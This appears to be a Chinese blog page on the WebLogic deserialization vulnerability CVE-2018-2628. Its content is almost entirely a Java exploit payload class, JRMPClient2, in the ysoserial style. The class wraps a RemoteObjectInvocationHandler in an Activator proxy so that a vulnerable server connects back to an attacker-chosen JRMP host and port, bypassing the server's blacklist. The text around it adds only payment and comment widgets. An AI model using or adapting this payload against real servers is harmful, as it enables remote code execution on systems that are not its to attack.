java的反序列化操作 可以绕过对象_Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

[AppleScript] 纯文本查看 复制代码public class JRMPClient2 extends PayloadRunner implements ObjectPayload {

public Activator getObject ( final String command ) throws Exception {

String host;

int port;

int sep = command.indexOf(':');

if ( sep < 0 ) {

port = new Random().nextInt(65535);

host = command;

}

else {

host = command.substring(0, sep);

port = Integer.valueOf(command.substring(sep + 1));

}

ObjID id = new ObjID(new Random().nextInt()); // RMI registry

TCPEndpoint te = new TCPEndpoint(host, port);

UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {

Activator.class

}, obj);

return proxy;

}

public static void main ( final String[] args ) throws Exception {

Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());

PayloadRunner.run(JRMPClient2.class, args);

}

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值